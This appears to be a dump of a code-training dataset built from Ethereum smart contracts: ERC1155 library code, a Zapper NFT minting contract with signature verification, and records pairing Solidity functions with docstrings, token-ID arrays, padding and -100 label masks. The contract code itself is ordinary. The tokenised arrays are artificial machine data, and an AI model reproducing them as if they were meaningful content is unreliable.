`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC1155.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗ // ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║ // ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║ // ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║ // ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║ // ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝ // Copyright (C) 2021 zapper // Copyright (c) 2018 Tasuku Nakamura // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 2 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // ///@author Zapper ///@notice This contract checks if a message has been signed by a verified signer via personal_sign. // SPDX-License-Identifier: GPLv2 pragma solidity ^0.8.0; contract SignatureVerifier { address public _signer; constructor(address signer) { _signer = signer; } function verify( address account, uint256 id, bytes memory signature ) internal view returns (bool) { bytes32 messageHash = getMessageHash(account, id); bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash); return recoverSigner(ethSignedMessageHash, signature) == _signer; } function getMessageHash(address account, uint256 id) public pure returns (bytes32) { return keccak256(abi.encodePacked(account, id)); } function getEthSignedMessageHash(bytes32 messageHash) internal pure returns (bytes32) { return keccak256( abi.encodePacked( "\x19Ethereum Signed Message:\n32", messageHash ) ); } function recoverSigner( bytes32 _ethSignedMessageHash, bytes memory _signature ) internal pure returns (address) { (bytes32 r, bytes32 s, uint8 v) = splitSignature(_signature); return ecrecover(_ethSignedMessageHash, v, r, s); } function splitSignature(bytes memory signature) internal pure returns ( bytes32 r, bytes32 s, uint8 v ) { require(signature.length == 65, "invalid signature length"); assembly { r := mload(add(signature, 32)) s := mload(add(signature, 64)) v := byte(0, mload(add(signature, 96))) } } } // ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗ // ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║ // ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║ // ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║ // ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║ // ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝ // Copyright (C) 2021 zapper // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 2 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // ///@author Zapper ///@notice This contract manages Zapper NFTs and allows minting at any time if verified by a signer // SPDX-License-Identifier: GPL-2.0 pragma solidity ^0.8.0; import "./ERC1155/ERC1155.sol"; import "./access/Ownable.sol"; import "./utils/Counters.sol"; import "./SignatureVerifier/SignatureVerifier.sol"; contract Zapper_NFT_V1_0_4 is ERC1155, Ownable, SignatureVerifier { using Counters for Counters.Counter; Counters.Counter private ID; bool public paused = false; string public name; string public symbol; // Mapping from token ID to token URI mapping(uint256 => string) private idToUri; // Mapping from token ID to token supply mapping(uint256 => uint256) private tokenSupply; // Mapping from token ID to account status mapping(uint256 => mapping(address => bool)) public hasMinted; constructor( string memory _name, string memory _symbol, string memory _uri, address _signer, address manager ) ERC1155(_uri) SignatureVerifier(_signer) { name = _name; symbol = _symbol; transferOwnership(manager); } modifier pausable { if (paused) { revert("Paused"); } else { _; } } /** * @dev Creates a new NFT type * @param _cid Content identifier * @param _data Data to pass if receiver is contract * @return _id The newly created token ID */ function create(string calldata _cid, bytes calldata _data) external onlyOwner returns (uint256 _id) { require(bytes(_cid).length > 0, "Err: Missing Content Identifier"); _id = _nextId(); _mint(msg.sender, _id, 0, _data); string memory _uri = _createUri(_cid); idToUri[_id] = _uri; emit URI(_uri, _id); } /** * @dev Mints an existing NFT type * @notice Enforces a maximum of 1 minting event per NFT type per account * @param _account Account to mint NFT to (i.e. the owner) * @param _id ID (i.e. type) of NFT to mint * @param _signature Verified signature granting _account an NFT * @param _data Data to pass if receiver is contract */ function mint( address _account, uint256 _id, bytes calldata _signature, bytes calldata _data ) public pausable { require(_exists(_id), "Err: Invalid ID"); require(!hasMinted[_id][_account], "Err: Already Minted"); require(verify(_account, _id, _signature), "Err: Invalid Signature"); hasMinted[_id][_account] = true; _mint(_account, _id, 1, _data); tokenSupply[_id]++; } /** * @dev Batch mints multiple different existing NFT types * @notice Enforces a maximum of 1 minting event per account per NFT type * @param _account Account to mint NFT to (i.e. the owner) * @param _ids IDs of the type of NFT to mint * @param _signatures Verified signatures granting _account an NFT * @param _data Data to pass if receiver is contract */ function batchMint( address _account, uint256[] calldata _ids, bytes[] calldata _signatures, bytes[] calldata _data ) external pausable { for (uint256 i = 0; i < _ids.length; i++) { mint(_account, _ids[i], _signatures[i], _data[i]); } } function _createUri(string memory _cid) internal view returns (string memory _uri) { string memory baseUri = super.uri(0); return string(abi.encodePacked(baseUri, _cid)); } function _nextId() internal returns (uint256 id) { ID.increment(); return ID.current(); } function _exists(uint256 _id) internal view returns (bool) { return (bytes(idToUri[_id]).length > 0); } /** * @dev Returns the uri of a token given its ID * @param _id ID of the token to query * @return uri of the token or an empty string if it does not exist */ function uri(uint256 _id) public view override returns (string memory) { return idToUri[_id]; } /** * @dev Returns the total quantity for a token ID * @param _id ID of the token to query * @return amount of token in existence */ function totalSupply(uint256 _id) public view returns (uint256) { return tokenSupply[_id]; } /** * @dev Pause or unpause the minting and creation of NFTs */ function pause() public onlyOwner { paused = !paused; } /** * @dev Update the signer */ function updateSigner(address signer) public onlyOwner { _signer = signer; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
* @dev Destroys `amount` tokens of token type `id` from `account` Requirements: - `account` cannot be the zero address. - `account` must have at least `amount` tokens of token type `id`./
function _burn( address account, uint256 id, uint256 amount ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer( operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), "" ); uint256 accountBalance = _balances[id][account]; require( accountBalance >= amount, "ERC1155: burn amount exceeds balance" ); _balances[id][account] = accountBalance - amount; emit TransferSingle(operator, account, address(0), id, amount); }
553,474
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 5206, 28510, 28599, 1375, 8949, 68, 2430, 434, 1147, 618, 1375, 350, 68, 628, 1375, 4631, 68, 29076, 30, 300, 1375, 4631, 68, 2780, 506, 326, 3634, 1758, 18, 300, 1375, 4631, 68, 1297, 1240, 622, 4520, 1375, 8949, 68, 2430, 434, 1147, 618, 1375, 350, 8338, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 70, 321, 12, 203, 3639, 1758, 2236, 16, 203, 3639, 2254, 5034, 612, 16, 203, 3639, 2254, 5034, 3844, 203, 565, 262, 2713, 5024, 288, 203, 3639, 2583, 12, 4631, 480, 1758, 12, 20, 3631, 315, 654, 39, 2499, 2539, 30, 18305, 628, 326, 3634, 1758, 8863, 203, 203, 3639, 1758, 3726, 273, 389, 3576, 12021, 5621, 203, 203, 3639, 389, 5771, 1345, 5912, 12, 203, 5411, 3726, 16, 203, 5411, 2236, 16, 203, 5411, 1758, 12, 20, 3631, 203, 5411, 389, 345, 19571, 1076, 12, 350, 3631, 203, 5411, 389, 345, 19571, 1076, 12, 8949, 3631, 203, 5411, 1408, 203, 3639, 11272, 203, 203, 3639, 2254, 5034, 2236, 13937, 273, 389, 70, 26488, 63, 350, 6362, 4631, 15533, 203, 3639, 2583, 12, 203, 5411, 2236, 13937, 1545, 3844, 16, 203, 5411, 315, 654, 39, 2499, 2539, 30, 18305, 3844, 14399, 11013, 6, 203, 3639, 11272, 203, 3639, 389, 70, 26488, 63, 350, 6362, 4631, 65, 273, 2236, 13937, 300, 3844, 31, 203, 203, 3639, 3626, 12279, 5281, 12, 9497, 16, 2236, 16, 1758, 12, 20, 3631, 612, 16, 3844, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x781FDB68cE5EE5Cd7470bbFEec0F98c24eA18c93/sources/browser/CompoundLoanInfo.sol
@notice Information about cTokens @param _cTokenAddresses Array of cTokens addresses @return tokens Array of cTokens infomartion
function getTokensInfo(address[] memory _cTokenAddresses) public returns(TokenInfo[] memory tokens) { tokens = new TokenInfo[](_cTokenAddresses.length); for (uint i = 0; i < _cTokenAddresses.length; ++i) { (, uint collFactor) = comp.markets(_cTokenAddresses[i]); tokens[i] = TokenInfo({ cTokenAddress: _cTokenAddresses[i], underlyingTokenAddress: getUnderlyingAddr(_cTokenAddresses[i]), collateralFactor: collFactor, price: oracle.getUnderlyingPrice(_cTokenAddresses[i]) }); } }
16,393,680
[ 1, 4625, 348, 7953, 560, 30, 225, 632, 20392, 15353, 2973, 276,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, 12, 2867, 8526, 3778, 389, 71, 1345, 7148, 13, 1071, 1135, 12, 1345, 966, 8526, 3778, 2430, 13, 288, 203, 3639, 2430, 273, 394, 3155, 966, 8526, 24899, 71, 1345, 7148, 18, 2469, 1769, 203, 203, 3639, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 389, 71, 1345, 7148, 18, 2469, 31, 965, 77, 13, 288, 203, 5411, 261, 16, 2254, 4508, 6837, 13, 273, 1161, 18, 3355, 2413, 24899, 71, 1345, 7148, 63, 77, 19226, 203, 203, 5411, 2430, 63, 77, 65, 273, 3155, 966, 12590, 203, 7734, 276, 1345, 1887, 30, 389, 71, 1345, 7148, 63, 77, 6487, 203, 7734, 6808, 1345, 1887, 30, 10833, 765, 6291, 3178, 24899, 71, 1345, 7148, 63, 77, 65, 3631, 203, 7734, 4508, 2045, 287, 6837, 30, 4508, 6837, 16, 203, 7734, 6205, 30, 20865, 18, 588, 14655, 6291, 5147, 24899, 71, 1345, 7148, 63, 77, 5717, 203, 5411, 15549, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 